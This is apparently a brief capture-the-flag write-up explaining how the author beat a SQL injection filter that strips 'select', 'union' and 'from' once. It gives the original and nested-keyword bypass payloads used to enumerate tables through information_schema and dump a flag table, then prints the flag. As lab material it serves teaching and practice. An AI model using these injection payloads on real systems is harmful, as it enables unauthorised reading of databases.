CTT23{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}
No file provided
From our result, we can clude that, it only replace 'select', 'union', 'from' with ''
- We want to know all tables names in the database. So, we can use
information_schema.tablesto get all tables names.
The original payload is
' UNION SELECT 1,table_name FROM information_schema.columns #
To prevent it from being replaced, we can use SEselectLECT instead of SELECT.
' UNunionION SEselectLECT 1,table_name FRfromOM information_schema.columns #
We can see the table named flag_table. Let's get data in this table.
- Crafting new payload to get all data in table.
' UNION SELECT * FROM flag_table #
to
' UNunionION SEselectLECT * FRfromOM flag_table #
- So the flag is
CTT23{SQLi_R3p7ac3_F7@g_w1th_NULL}






